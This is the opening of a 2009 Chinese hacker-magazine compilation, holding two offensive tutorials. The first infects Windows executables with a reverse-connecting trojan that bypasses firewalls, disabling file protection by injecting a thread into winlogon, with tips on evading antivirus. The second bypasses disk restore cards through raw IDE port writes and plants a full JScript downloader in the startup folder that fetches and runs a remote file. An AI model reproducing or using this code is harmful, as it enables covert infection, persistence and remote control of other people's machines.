透视黑客技术发展焦点，把握黑客攻防技术跳动脉搏，全面收录流行黑客技术

- 黑客编程实战大演练
- 黑器免杀与入侵进阶
- 加密与破解经典实例
- 网络安全与加固精讲

黑客防线

2009

精华奉献本 上册

《黑客防线》编辑部 编

2CD-ROM

人民邮电出版社
POSTS & TELECOM PRESS

黑客防线

2009

精华奉献本 上册

《黑客防线》编辑部 编

人民邮电出版社
北京

图书在版编目（CIP）数据

《黑客防线》2009 精华奉献本 / 《黑客防线》编辑部编. —北京：人民邮电出版社，2009.1
ISBN 978-7-115-19504-3

Ⅰ. 黑… Ⅱ. 黑… Ⅲ. 计算机网络—安全技术 Ⅳ. TP393.08

中国版本图书馆 CIP 数据核字（2008）第 204273 号

内 容 提 要

《黑客防线 2009 精华奉献本》是国内最早创刊的网络安全技术媒体之一《黑客防线》总第 85 期至第 96 期的精华文章摘要。

《黑客防线》一直秉承“在攻与防的对立统一中寻求突破”的核心理念，关注网络安全技术的相关发展，并一直保持在国内网络安全技术发展前列。从 2001 年创刊至今，已经成为国内网络安全技术的顶尖媒体。《黑客防线 2009 精华奉献本》选取了包括黑客攻防、安全编程、漏洞发掘、入侵渗透、安全防护等方面的精华文章，配合两张包含 1200MB 安全技术工具、代码和录像的光盘，为读者方便阅读、理解提供了非常便捷的途径。

本书分为上、下两册（本册为上册），适合高校在校生、网络管理员、网络安全公司从业人员、黑客技术爱好者阅读。

《黑客防线》2009 精华奉献（上、下册）

◆ 编　　《黑客防线》编辑部
责任编辑　魏雪萍

◆ 人民邮电出版社出版发行　北京市崇文区夕照寺街 14 号
邮编　100061　　电子函件　315@ptpress.com.cn
网址　http://www.ptpress.com.cn
北京印刷一厂印刷

◆ 开本：787×1092　1/16
印张：36　　2009 年 1 月第 1 版
字数：1440 千字　　2009 年 1 月北京第 1 次印刷

ISBN 978-7-115-19504-3/TP

定价：45.00 元（附 2 张光盘）

读者服务热线：(010)67132692　印装质量热线：(010)67129223
反盗版热线：(010)67171154

黑客防线

从漏洞挖掘到 Exploit 实战实例，详解漏洞分析

深度解析漏洞机理；
详尽分析漏洞发掘过程；
严格代码测试与 Exploit 调试过程；
实战 ShellCode 调试经验剖析；
黑客防线 2009 强力推荐，漏洞分析里程之作！

《黑客防线 2009 溢出攻击与防范专辑》

实例光盘：富含流行的 Serv-U、迅雷、卡巴斯基、Office 系列、IE 系列，以及常见系统和第三方漏洞分析代码以及相应的防范技巧。

“初级篇”、“分析篇”、“ShellCode 篇”，深层剖析漏洞挖掘、Exploit 编写、ShellCode 调试，以及漏洞防范的详细过程！

http://www.hacker.com.cn

本书致力于解决以下问题：
漏洞的根本存在机理是什么？
漏洞的触发机制究竟需要什么条件？
Exploit 的编码规范有什么不能违背的原则？
漏洞利用的实战需求的变化。
各种安全策略和安全审计的限制如何突破？
如何构造 Exploit 的核心 ShellCode？

咨询通道：
在线咨询 QQ：318569389
418610335
咨询电话：010-62145877
网址：http://www.hacker.com.cn

致读者的话

今年是不平凡的一年。这一年，作为2001年创刊的国内网络安全技术媒体之一，《黑客防线》做了很多事情——包括杂志进一步提升技术水准，把光盘改为普及型的电子杂志。同时，黑客防线网站的VIP会员的规范性管理，培训班的正规化管理，很多事情，都是在这一年完成的。《黑客防线2009精华奉献本》就是在这样的情况下推出的，可以说，精华本浓缩了我们整年的所有心血！

今年真的很不平凡。在我们为奥运而兴奋、而奔波、而劳累之后，谁也想不到是全球的经济危机袭击了我们猝不及防的松弛心境。世界万物仿佛永远遵循着一个定律，乐极就会生悲，然后就是否极泰来。所以大可不必因为经济不景气而否定任何美好的预期，反而应该百倍地增加学习技术和钻研技术的信心。其实，每次世界性的经济危机都会催生一次新的科技创新，任何商品的贬值都没有影响到新技术的升值。因而，拥有黑客防线，学习和钻研技术，是我们处乱不惊的精神寄托。

有了这样的共识，在岁末年初之际，我们推出了《黑客防线2009精华奉献本》。这本书有两个特点，一个特点是完全浓缩了整年的黑客技术精华，将平时读者反映很好的技术文章综合了起来；另一个特点就是对过去一年的网络安全和黑客技术做了一个总结，并且对新的一年的网络安全技术的发展有了一个展望——展望越来越繁荣的网络安全的技术走向！

最后，还需要强调的一点是：《黑客防线》是一本技术月刊，它主要承载新的技术信息、新的技术探索。如果你有志于从事技术工作，特别是与网络相关的行业，或者是有志于钻研技术和技术突破，首先需要的理念就是要尊重技术的价值，就如同我们尽心尽力为广大读者编撰此书一样——每一位钟爱网络安全技术的人，都应该得到彼此之间的尊重！

其实，大家都知道，所谓《黑客防线2009精华奉献本》，大部分都是2008年以来的精华文章——只不过重新制作一本精华本，就给了我们又一次去粗取精、去伪存真的机会。特别是随着时间的过后几个月，对各方面技术的认识，又会多一些沉淀和判断，也是读者对于我们选编水平和技术评判标准的又一次检验。说到这里，让我们再一次感谢读者对我们的认可和支持，也感谢我们的作者提供了分门别类的技术原创文章，特别要感谢的是，那些没有选入精华本文章的作者，还是一如既往地支持我们，提出宝贵的建议，同时自己也在购买精华本。

让我们从现在做起、从我做起，一起珍重网络安全技术的快速发展势头，抓住网络安全技术的新亮点，一起开创中国网络安全技术的新篇章！

《黑客防线》2009精华奉献本目录（上册）

编程解析

黑器攻防

网管之家

密界寻踪

适合读者：编程爱好者
前置知识：汇编、C

植入执行文件穿越软件防火墙

文/ 蔡宝军

现在的个人防火墙一般都Hook了NDIS协议驱动的NDIS_PROTOCOL_BLOCK链，并Hook了TDI driver tcpip.sys的几个Device，天网应该是用了IoAttachDevice，但Hook dispatch表会更简单一些。Hook TDI主要是为了能够实现用户层的进程、IP地址和端口的控制（因为协议层是不可中断的）。当然，这方面的任务并不一定需要在TDI中实现，费尔防火墙使用了SPI实现，从这一点上看天网更安全，技术更复杂一些。Hook TDI非常麻烦，UnHook TDI需要重新启动电脑，因为Hook TDI SET_EVENT_HANDLE是不可逆的。如果防火墙只Hook了TCPIP、TCPIP_WANARP等几个特定的协议，我们可以编写一个NDIS协议驱动，穿越它（比如WinCap），然而Hook所有的协议驱动并不难，就是烦了一些。如果防火墙真的Hook了所有的协议或是IM类型的，那我们就只能Hook NDIS.sys的API，把我们的驱动设置成在miniport驱动，之前启动（BOOT类型）了。好烦啊！我们接下去要说的是不用驱动实现穿越防火墙的方法，别扔番茄过来，如果你对上面的以驱动实现的反防火墙Rootkit有兴趣的话，我会在以后的文章中一一叙述的。

不知道现在到底有多少木马可以真正的穿越防火墙，网上搜了一搜， 找到了广外男生这个木马，应该是DLL注入进程吧，没有试过，我从来不在自己的电脑上装应用层木马（Rootkit除外），因为这种木马一般都在注册表里方方面面下工夫，删除起来好麻烦（我不用防病毒软件，因为现在的防病毒软件比木马、Rootkit更可怕，因为运用的都是基本相同的技术嘛，同样使系统不稳定，特别在我自己的测试驱动满天飞的电脑上）。

好了，言归正传，为了使木马更隐蔽，又不用修改注册表，我选择了植入的方法，并加上了反弹的功能。说到植入就逃不掉要使用汇编了（至少我是这样认为的），就像CIH那样。

植入程序的实现

我植入程序的思路如下。

1）修改执行文件（.exe），加入一个CODE段，如果操作系统支持SFC，则关闭它（这由安装程序实现）。

2）通过ESP获得Kernel32.dll的base地址，获取所需要的API和Library（ws2_32.dll）地址。

3）调用CreateThread，创造一个线程调用我们的Socket程序。

4）主线程继续进行。

首先声明一下，一是汇编程序是一门艺术，可以写得很好看，很有效率，当然我远没有达到这个境界，而且写得比较随意，没有仔细去优化，尽管在WinDBG下调试了很多次，也测试了很多经过植入的程序，浏览了代码5、6次，如果有出错的地方或缺乏效率的地方请多多包涵；二是阅读汇编代码并不有趣（我是这样认为的，如果能用C实现的话，我决不会去写汇编代码），所以如果接下来将近1000行的汇编代码可能让你失去耐心，请见谅。

```
;将CreateProcessA的返回地址[esp]存入edi，调用
GetKnlBase 函数，返回后edi保存着Kernel32模块的基
地址
```

```
    _MainPROC NEAR
    pushad          ;esp + 32
    mov       edi, [esp + 32] ;edi = return address
    call      GetKnlBase
    mov       [esp - 4], edi  ;[esp - 36] = Kernel32
module base address.
    test      eax, eax
    popad
    jz        @End2; Failed.
    ;GetKnlBase 函数
    ;edi = 搜索的起点地址
    GetKnlBase  PROC
    push        ebp
    mov         ebp, esp
    ;获得重定位偏移值.
    call        @F
    @@:
    pop         ebx
    sub         ebx,  @B
    ……代码省略，详见相关 asm.txt 文件……
```

OK，终于完成植入代码了，没趴下吧？汇编代码是用masm6.11版本编译的(选择tiny模式)。休息一下，我们继续分析安装代码(安装植入代码进入执行文件)。

安装代码的实现

1)安装代码是用C 编写的，我先列出安装程序的使用说明。

安装文件.exe [-ipcr] 植入文件.exe [Starting IP Address and Ending IP Address]

[Port] [Connect time out seconds]

Example:

安装文件.exe [-ipcr] 植入文件.exe [0.0.0.0 255.255.255.255] [1231] [10]

Options:

-i 搜索的起始IP地址和结束IP地址

-p 远程控制端口号

-c 远程连接超时时间

-r 替换文件，不管文件是否正在运行(需要重新启动)

2)植入文件函数

```
    BOOL EmbedFile()
    {
    PIMAGE_DOS_HEADERpDosHeader;
    PIMAGE_NT_HEADERSpNTHeader;
    PIMAGE_SECTION_HEADERpNewSecHdr,
pLastSecHdr;
    UINTSecNum, Idx;
    PBYTEpData;
    ULONGSize;
    IMAGE_SECTION_HEADERSecHdr;
    CHARSecName[] = ".code";
    ULONGNewEntryPoint, OriEntryPoint,
NewFileSize, NewSecRawOff;
    LONGEntryOffset;

    //pFileData 是植入文件的数据指针.
    pDosHeader = (PIMAGE_DOS_HEADER)pFileData;
    if(pDosHeader->e_magic  !=
IMAGE_DOS_SIGNATURE){ return FALSE; }
    pNTHeader = MakePtr(PIMAGE_NT_HEADERS,
pDosHeader, pDosHeader->e_lfanew);
    if(pNTHeader->Signature  !=
IMAGE_NT_SIGNATURE){ return FALSE; }
    pNewSecHdr  =  MakePtr
(PIMAGE_SECTION_HEADER, pNTHeader, 0xF8);
    ZeroMemory(&SecHdr, sizeof
(IMAGE_SECTION_HEADER));
    SecNum  =  pNTHeader->FileHeader.
NumberOfSections;
    pLastSecHdr = &pNewSecHdr[SecNum - 1];
    pNewSecHdr  = &pNewSecHdr[SecNum];
    pData  =  MakePtr(PBYTE, pDosHeader,
pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].
VirtualAddress);
    Size  = pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size;
    ……代码省略，详见杂志相关 insert.txt 文件……
```

3)如果是Windows 2000或者更高版本的操作系统，如果植入的文件是属于系统保护的文件，我们需要关闭WFP 功能。

```
    //Load sfc 库
    hSFCDll = LoadLibrary("sfc_os");
    if(hSFCDll == NULL) hSFCDll = LoadLibrary("sfc");

    if(hSFCDll != NULL){
    // 如果系统为 Windows2000/XP，调用
SfcIsFileProtected 函数，查看植入文件是否为保护文件
    SfcIsFileProtected = (PSFCISFILEPROTECTED)
GetProcAddress(hSFCDll,  "SfcIsFileProtected");
    if(SfcIsFileProtected != NULL){
    INT cb = mbstowcs(WFileName, EmbededFileName,
strlen(EmbededFileName));
    if(SfcIsFileProtected(NULL, WFileName)){
    //如果是关闭保护功能
    if(!DisableWFP(hSFCDll)){
    FreeLibrary(hSFCDll);
```

```
    hSFCDll = NULL;
    goto END;
    }

    //删除系统缓冲文件，避免以后系统自动恢复我们已删除的文件
    if(!GetSystemDirectory(DllCacheFileName, MAX_PATH)){
    FreeLibrary(hSFCDll);
    hSFCDll = NULL;
    goto END;
    }
    strcat(DllCacheFileName, "\\dllcache\\");
    CHPtr = strrchr(EmbededFileName, '\\');
    if(CHPtr == NULL)

    //relative name.
    strcat(DllCacheFileName, EmbededFileName);
    else
    strcat(DllCacheFileName, ++CHPtr);
    DeleteFile(DllCacheFileName);
    }
    }
    FreeLibrary(hSFCDll);
    }

    //关闭保护功能函数
    BOOL DisableWFP(HMODULE hSFCDll)
    {
    DWORD    ThdId, State;
    PROC     SfcCloseEvents;
    HANDLE hWinLogonProcess = NULL, hThread = NULL;
    BOOL bResult;

    //提升权限
    if(!SetPrivilege(SE_DEBUG_NAME, TRUE)){ return FALSE;
    }
    //获得winlogon进程句柄
    hWinLogonProcess = OpenWinLogon();
    if(hWinLogonProcess == NULL){ return FALSE; }

    //获得未公开函数SfcCloseEvents函数指针
    SfcCloseEvents = GetProcAddress(hSFCDll, MAKEINTRESOURCE(2));
    if(SfcCloseEvents == NULL){ goto END; }
    //注入远程线程，让其调用SfcCloseEvents函数
    hThread = CreateRemoteThread(hWinLogonProcess, NULL, 0,(VOID*)SfcCloseEvents, NULL, 0, &ThdId);
    if(hThread == NULL){ goto END;
    }

    State = WaitForSingleObject(hThread, 500);
    switch (State) {
    case WAIT_TIMEOUT:
    State = WaitForSingleObject(hThread, 2000);
    if(State != WAIT_OBJECT_0){ goto END; }
    case WAIT_OBJECT_0:
    break;
    case WAIT_FAILED:
    goto END;
    default:
    goto END;
    }
    bResult = TRUE;

    END:
    if(hThread){ CloseHandle(hThread); }
    if(hWinLogonProcess){ CloseHandle(hWinLogonProcess); }

    return bResult;
    }
```

4）如何替换正在运行的文件

如果是Windows NT系统，我们使用"MoveFileEx(,,MOVEFILE_DELAY_UNTIL_REBOOT);"即可实现 如果是Win32系统的话，我们修改wininit.ini或建立wininit.ini文件，加入以下代码即可，具体操作请见随文提供的源代码。

```
[rename]
NUL=文件名
//删除文件
新文件名=旧文件名
//文件更名
```

至此，我们的代码就算编写完了，接着你只需要仔细阅读一下源代码，稍微修改一下就能实现一个木马变种了。写这个程序的目的是为了说明现在的软件防火墙是如此的不堪一击，尽管此程序还是逃不过防病毒软件的特征码测试（稍微修改一下汇编代码，加入一些冗余码就可以躲过特征码测试），因为修改了PE文件格式，修改了入口点，所以这些痕迹也逃不过防病毒软件的未知病毒测试，那么如何躲过呢？这可是一个大课题了，Rootkit和Anti Rootkit之间的竞争从来没停止过，留着以后分析吧。

适合读者: 编程爱好者
前置知识: VC、汇编

穿透还原卡原理以及实现

文/ llikz

当今的网络时代，木马横行，病毒肆虐，如今应付它们唯一有效的方法就是安装还原卡，如小哨兵和各种还原软件，比如冰点、影子等。也正因如此，导致我们现在基本找不到一家没有安装还原产品的网吧，甚至高校机房等公共上网的场所也安装了此类产品。这种技术确实抵挡了大部分木马病毒的攻击，但也给我们的工作学习带来了不便。比如刚刚辛苦写好的文档由于系统死机重启而被还原掉 无法安装需要重新启动才能正常运行的各种软件等等，更令我们菜鸟郁闷的是辛辛苦苦得到的肉鸡因为对方重新启动计算机而飞走了。下面我们就一起分析一下穿透还原卡的原理以及实现。

还原卡的工作原理是在操作系统启动之前就获得机器的控制权。用户对硬盘的操作，实际上不是对原数据的修改，而是对还原卡虚拟空间进行操作，从而达到对系统数据保护的功能。单纯功能的硬盘还原卡占用的系统资源多，要求硬盘有很大的剩余空间才行，已经逐渐被淘汰。现在又出现了网络还原卡，采用网卡实现还原功能，将网络和还原技术结合，实现了远程开关机、重启、还原、对拷、监视、控制等功能。使用还原卡，可以将计算机的系统分区或其他需要保护的分区保护起来，可以将还原卡设定为下次启动或一定时间后对系统进行自动还原，这样，在此期间内对系统所作的修改将不复存在，免去了系统每使用一段时间后就由于种种原因造成系统紊乱、经常出现蓝屏而不得不再次重装系统之苦。

无论是软件还原卡还是硬件还原卡，都需要在系统启动的时候加载磁盘过滤驱动程序。这也是实现文件还原的关键所在。磁盘过滤驱动工作在磁盘驱动程序之上，可以过滤我们访问磁盘的一切操作，从而记录下我们这些操作实现还原功能。显然，穿透还原卡关键是如何躲过磁盘过滤驱动程序的过滤，实现对磁盘的操作。这里有两种方法，一种是像icesword那样，直接向文件系统驱动发送IRP，还有一种就是直接读写硬盘技术。我这里使用第二种方法，所以需要深入介绍一些直接读取大容量硬盘的方法。

IDE是硬盘的一种通用接口标准。当用传统的INT13H中断对其扇区读写时，会有8.4GB的容量限制，原因何在？ 我们先来看看操作系统是如何读写硬盘的。操作系统读写硬盘有如下两个途径:

文件管理层->经由INT13H中断调用->BIOS服务层->IDE接口

文件管理层->经由设备驱动程序->IDE接口

第1种途径中，BIOS服务层负责将INT13H送来的读写参数转换成对IDE接口的读写参数，并由IDE接口执行数据的I/O传送。IDE接口支持两种方式对扇区寻址，即逻辑块LBA寻址和柱面磁头扇区CHS寻址，两种寻址方式都安排了32个二进制位保存扇区地址参数。在CHS方式中，32位分属于4个8位寄存器: 柱面号低位寄存器(1F4H)，柱面号高位寄存器(1F5H)，扇区号寄存器(1F3H)，驱动器号(高4位)和磁头号(低4位)寄存器(1F6H)。在LBA方式中，上述4个寄存器中的28位(1F6H寄存器只用到其低4位)构成一个完整的28位长的扇区的逻辑地址，每个扇区对应一个LBA地址，而不再属于某一

柱面、某一磁头和某一扇区。而传统的INT13H中断中只安排了3个8位寄存器来对扇区寻址：柱面低位寄存器(CH寄存器)，柱面号(高2位)和扇区号(低6位)寄存器(CL寄存器)，磁头号寄存器(DH寄存器)。DOS(包括Windows下的虚拟DOS)使用第1种途径读写硬盘，这时的BIOS在接受INT13H送来的扇区地址数据时，只把其10位柱面号送给IDE的柱面号位寄存器(1F4H和1F5H)，空余6位填0；把扇区号6位送给IDE的1F3H寄存器，空余2位填0；这种方式认为磁头数不会超过16，故只把磁头寄存器DH中的低4位送给IDE的1F6H寄存器。这样，能寻址的最多扇区数就是：1024 16 63：1 032 192个(扇区从1开始编号，故只有63个)，硬盘最大容量是528MB，这就是当年的528MB的容量限制。为了突破528MB限制，BIOS作了改进，允许INT13H中磁头寄存器DH扩到8位，这样，在接受INT13H参数时若柱面数超过1024，则将柱面数除以2，同时磁头数乘以2，如此保持能寻址的扇区总数不变，直到柱面数不超过1024为止。故INT13H寻址的扇区数是：1024 256 63=16 515 072个，硬盘容量达512 165 15 072=8.4GB。而BIOS在向IDE接口传送参数时，将磁头数缩小若干倍后转换成4位送给IF6H寄存器，同时将柱面数扩大相同的倍数后传给1F4H和1F5H寄存器，从而使IDE接口能正确地对扇区进行物理寻址。由此可见，IDE硬盘8.4GB的容量限制是由于BIOS中的INT13H接受扇区数受到限制而造成的。要想突破8.4GB的限制，在用INT13H读写硬盘时就不能用寄存器传送扇区地址参数了。

关于IDE的寄存器和IDE命令。经由设备驱动程序对硬盘IDE接口编程，就是直接向IDE寄存器设置参数进而读写硬盘。首先我们简要了解一下IDE的寄存器，IDE有两类寄存器：命令寄存器和控制寄存器。命令寄存器被用来接受命令和传送数据；控制寄存器用作磁盘控制。第一个IDE接口命令寄存器地址是1FOH～1F7H，控制寄存器地址是3FOH～3F7H；第2个IDE接口分别是170H～177H和370H～377H。

数据寄存器(1FOH，读写)：这是唯一的一个16位寄存器，CPU通过该寄存器与硬盘交换数据。

错误寄存器(1F1H，读)：8位寄存器，它反映控制寄存器的错误原因。

特性寄存器(1F1H，写)：一般情况下不使用这种方式，只在初始化IDE接口时使用。

扇区数寄存器(1F2，读写)：读写的扇区数，8位。

扇区号寄存器(1I；3H，读写)：存放读、写和校验命令指定的起始扇区号。如果驱动器使用逻辑块LBA寻址方式，则该寄存器存放逻辑扇区号的0字节。

柱面号寄存器(IF4H和1F5H，读写)：存放读、写、校验、寻道和格式化命令指定的柱面号。16位柱面号(65536个柱面)的低8位在IF4H寄存器中，高8位在IF5H寄存器中。如果是LBA寻址方式，这两个寄存器存放逻辑扇区号的I字节和2字节。

驱动器／磁头寄存器(1F6H，读写)：存放读、写、校验、寻道和格式化时指定的驱动器号、磁头号和寻址方式。其D7、D5总是1；D6=0为CHS模式，D6=1为LBA模式；D4=0选择主硬盘，D4=1选择从硬盘；D3～D0选择磁头，若是LBA模式则D3～D0是逻辑扇区号的高4位。

状态寄存器(1F7H，读)：它表明硬盘驱动器执行命令后的状态，读该寄存器将清除中断请求信号，所以一般是读辅助状态寄存器3F6H，这两个寄存器的内容完全相同。

辅助状态寄存器(3F6H，读)：它包含与状态寄存器相同的内容。

硬盘控制寄存器(3F6H，写)：该寄存器D7～D4数值不限，D3位为1，D0位为0，D2位是软件复位，D2=1时可复位驱动器。D1位为中断允许，D1=0时允许中断。

命令寄存器(1F7H，写)：该寄存器接收CPU命令。

关于IDE接口中扇区地址的编排方式。IDE接口允许65536个柱面，16个磁头，256个扇区。扇区寻址有两种方式：物理寻址方式和逻辑地址方式。物理寻址方式(CHS方式)用柱面、磁头和扇区号表示一个特定的扇区。起始扇区是0磁道、0磁头、1扇区，接着是2扇区，直到255扇区；接下来是同一柱面的1头、1扇区。在CHS方式下，共有65 526 16 255=267 386

880个扇区，此时硬盘容量达136.9GB。逻辑块寻址(LBA)方式扇区地址是连续的而不分柱面和磁头，参加寻址的有3个半寄存器(1F3H，IF4H、IF5H及IF6H的低4位)共28位，寻址扇区达268435455个，硬盘容量为137.4GB。设扇区的逻辑扇区号(LBA地址)为N，扇区所在的柱面号为C，磁头号为H，扇区号为S，每柱磁头数为H1，每头扇区数为S1，A是中间变量，"MOD"为求余数运算，"\"为整除的商，则LBA地址与EHS地址的转换关系为：

```
N =(C1*H1+H)*S1+S-1
S=(N+1) MOD S1
A=(N+1)\S1
H= A MOD H1
C=A\H1
```

若采用LBA方式寻址，则没有磁头和磁道的转换操作，当进行连续的多扇区读写时，速度比CHS方式要快。硬盘的这两种工作方式可由用户在BIOS中设置，但一般都采用LBA方式。

有了以上知识，我们就很容易编写出一个通过IDE控制器访问磁盘的驱动程序了，相关代码如下。

```
inBuf = Irp->AssociatedIrp.SystemBuffer;
outBuf = Irp->AssociatedIrp.SystemBuffer;
nChiTou=((UCHAR)inBuf[0])|0xa0;
nZhuMianH=((UCHAR)inBuf[1]);
nZhuMianL=((UCHAR)inBuf[2]);
nSanQu=(UCHAR)inBuf[3];
__asm
{
push    eax
push    edx
mov     dx,1f6h
;要读入的磁盘号及磁头号
mov     al,nChiTou   ;磁头号
out     dx,al
mov     dx,1f2h
;要读入的扇区数量
mov     al,1         ;读一个扇区
out     dx,al

mov     dx,1f3h
;要读的扇区号
mov     al,nSanQu    ;扇区号
out     dx,al

mov     dx,1f4h
;要读的柱面的低8位
mov     al,nZhuMianL  ; 柱面低8位
out     dx,al

mov     dx,1f5h      ;柱面高8位
mov     al,nZhuMianH  ;柱面高8位
out     dx,al

mov     dx,1f7h      ;命令端口
mov     al,20h       ;尝试读取扇区
out     dx,al
still_going:
in      al,dx
test    al,8
;扇区缓冲是否准备好
jz      still_going
;如果扇区缓冲没有准备好的话则跳转，直到准备好才向下执行
pop     edx
pop     eax
//mov     cx,512/2 ;设置循环次数 (512/2次)
//mov     di,offset buffer
//mov     dx,1f0h    ;将要传输的一个字节的数据
//rep     insw       ;传输数据

}
// 使用insw指令产生BSOD，所以改用硬件抽象层定义的宏实现直接端口操作
READ_PORT_BUFFER_USHORT((PUSHORT)0x1f0,(PUSHORT)pNewBuffer,512/2);
```

在上面的驱动程序中，我们使用的是CHS方式访问磁盘。但是分析FAT32文件系统的时候，我们使用的是基于逻辑扇区访问的LBA方式，所以需要使用如下的函数进行两种方式的转换。

```
void ReadConfig(DWORD N,CHAR *InputBuffer)
{
DWORD C,H,S,H1=16,S1=63,A;
S=(N+1)%S1;
A=(N+1)/S1;
H=A%H1;
C=A/H1;
(unsigned char)(InputBuffer[0])=(unsigned char)H;
// 磁头号
(unsigned char)(InputBuffer[1])=(unsigned char)((C>>8)&0xff);
// 柱面高8
(unsigned char)(InputBuffer[2])=(unsigned char)(C&0xff); // 柱面低8
(unsigned char)(InputBuffer[3])=(unsigned char)S;
// 扇区号
}
```

通过逻辑扇区访问磁盘的问题我们已经解决了，剩下的问题就是如何通过分析FAT32文件系统实现在启动目录中添加我们构造的文件了。

首先我们需要分析硬盘结构。根引导区：位于硬盘的第1个逻辑扇区0柱面、0磁头和1扇区，它由主引导记录、硬盘分区表和根记录号三部分组成，共一个扇区512字节。其中，主引导记录由446字节组成，存放系统主引导程序。DPT表占用64字节，记录了磁盘的基本分区信息。分区表包括4个分区项，每项字节分别记录了各个分区的信息。引导区标记占用2字节，对于合法的引导区，它的值对于内部寄存器来说，高位在后，这是判别引导区是否合法的标志。分区表由4个分区信息项构成，每一项1字节，信息结构如下：

位置	字节	分区信息项内容
00h	1	分区状态
01h	1	分区起始磁头号
02h	2	分区起始扇区和柱面号
04h	1	分区类型
05h	1	分区结束磁头号
06h	2	分区结束扇区和柱面号，定义同起始扇区和柱面号
08h	4	该分区前扇区数，线性寻址方式下的分区相对扇区地址
0ch	4	分区大小

下面开始分析Windows系统常用的FAT32文件系统的文件存储结构。我们知道，一个物理硬盘包括主引导记录MBR和多个分区，分区也被称为逻辑盘，如一个物理硬盘可划分成C、D、E等多个逻辑盘。下面的讨论限制在一个FAT32逻辑盘上。

1）DOS引导记录DBR

FAT32文件系统在逻辑盘上的结构如下：

DBR | (保留扇区) | FAT1 | FAT2 | DATA(含FDT)

其中，保留扇区的数目、FAT的大小和根目录FDT的位置在FAT32下不再是固定的，但它们可以从DBR中的BPB参数块获得。

在DBR中，偏移0处的跳转指令将程序执行流程跳转到偏移5A处的DOS引导程序入口，这里不详细分析引导代码了。BPB参数块从第12(0BH)字节开始，占用80(0BH~5AH)字节，前面提到的一些重要参数在BPB中的偏移及值如下：

偏移	长度	值	说明
0D	1	0x20	每簇扇区数
0E	2	0x20	保留扇区数
1C	4	0x3F	隐含扇区：从硬盘LBA=0至DBR的扇区数
24	4	0x36F6	每FAT扇区数
2C	4	0x02	根目录FDT在DATA区的起始簇位置

2）根目录FDT

用Format命令进行高级格式化时，就会为(逻辑)磁盘建立一个根目录文件目录表FDT。在根目录下，用户可以再创建不同的子目录或文件，根目录以及各个子目录都有自己的FDT。FDT定义了文件名、文件大小以及文件存放的起始簇号。

根目录FDT起始偏移字节=(保留扇区数+2×每FAT扇区数+(FDT起始簇号-2)×每簇扇区数)×每扇区512字节

其中"起始簇号-2"是因为FAT中第0簇和第1簇为保留簇，起始簇号从2开始。根目录下的所有文件及其子目录在根目录FDT中都有一个32字节的目录登记项，FDT中文件目录项的部分内容及含义如下：

字节偏移	字节数	内容及含义
0~7	8	用于表示文件名字
8~0AH	3	用于表示文件的扩展名
0BH	1	按二进制位定义的文件属性，如只读位、系统位、隐藏位、子目录位等，0FH表示该项为长文件名记录项
14H~15H	2	文件起始簇号的高16位
1AH~1BH	2	文件起始簇号的低16位
1CH~1FH	4	32位文件字节长度

3）文件分配簇链

文件分配表FAT是用来记录每个文件的存储位置的表格，操作系统以簇为单位给文件分配磁盘空间，每个簇在FAT表中占有一个登记项，簇编号也是登记项编号。对FAT32来说，每个登记项占用4字节，0号登记项和1号登记项是表头，簇的登记项从2开始，表项值00000000H表示未使用的簇，00000002H~FFFFFFEFH表示一个已分配的簇号，FFFFFF0FH表示文件结束簇，FFFFFFF7H表示坏簇等，但注意要高字节在后的读出已分配的簇号。一个文件至少占用一个簇，当文件占用多个簇时，这些簇的簇号不一定是连续的。

有了以上基础知识，我们就开始设计算法了，算法如下。

1）根据主引导扇区中的分区表偏移08h-0Bh得到第一个分区引导扇区逻辑扇区号s0。

2）从第一个分区引导扇区0Eh~0fH得到保留扇区数s1，以及偏移24h~27h得每个FAT占用扇区数s3。

3）以s0、s1相加得到第一个分区的文件分配表FAT1。

4）s0+s1+2*s3得到根目录逻辑扇区号。

5）分析目录项，循环遍历，最后找到启动目录的目录项入口。

6）在启动目录中添加一个目录项。

7）在FAT1中为文件分配一个簇的空间存放文件内容。

8）向该分配的簇中写入文件的内容。

这里必须注意的是，目录项的下一目录入口为簇号，必须把它转换为逻辑扇区号。转换方法上面已经介绍了，具体为：S=（C-2）*P+B，其中C为需要转化的簇号，P为每簇扇区数，B为根目录扇区数。

写到这里，大家就可以根据以上的算法和FAT32文件系统的结构对程序源代码进行分析了。如果我再把程序给大家分析一遍就没有什么必要了，我就挑重要的给大家介绍一下如何通过修改程序源代码向文件写入你需要的信息，其他的大家就自己看源代码吧。

首先把需要写入的文件信息做了如的定义的：

```
char shellcode[]="var iLocal,iRemote,xPost,sGet,Runner;\r\niLocal =\"C:\\\\baidu.gif\";\r\iRemote=\"http://www.baidu.com/img/logo.gif\";\r\niLocal=iLocal.toLowerCase();\r\niRemote=iRemote.toLowerCase();\r\nxPost = new ActiveXObject(\"Microsoft.XMLHTTP\");\r\nxPost.Open(\"GET\",iRemote,0);\r\nxPost.Send();\r\nsGet = new ActiveXObject(\"ADODB.Stream\");\r\nsGet.Mode = 3;\r\nsGet.Type = 1;\r\nsGet.Open();\r\n\sGet.Write(xPost.responseBody);\r\nsGet.SaveToFile(iLocal,2);\r\nRunner=new ActiveXObject(\"Wscript.Shell\");\r\nRunner.Run(iLocal,1);\r\n";
```

哈哈，其实就是个脚本下载程序。你可以根据自己的需要进行修改，但是长度一定不要超过512字节，不然一个扇区放不下。

在我提供的源程序中，还可以找到如下的代码段，其最后一行中的"484"是写入的数据长度，不包括最后的那个"\0"。

```
//写文件数据
dwDirectoryEntry=RootAdder+(FreeCluster-2)*SectorPerCluster;
memset(InputBuffer, 0, 516);
ReadConfig(dwDirectoryEntry,InputBuffer);
memcpy(InputBuffer+4,shellcode,484);
```

除此之外，还有一个地方需要修改，就是该文件的目录项，我是在AddFile()函数中进行定义的。

```
void AddFile(unsigned char *InputBuffer,DWORD FressCluster)

{
int i;
UCHAR NewFile[32]={0x57,0x49,0x4E,0x44,0x4F,0x57,0x53,0x20,0x4a,0x53,0x20,0x20,0x18,0x07,0x2C,0x11,0x7B,0x37,0x7B,0x37,0x07,0x00,0x4B,0x11,0x7B,0x37,0x4C,0x21,0xe4,0x01,0x00,0x00};

memcpy(InputBuffer,NewFile,32);

*((WORD*)(InputBuffer+0x1a))=FressCluster&0x0000ffff;

*((WORD*)(InputBuffer+0x14))=FressCluster>>16;
//只在第一项添加
return;
}
```

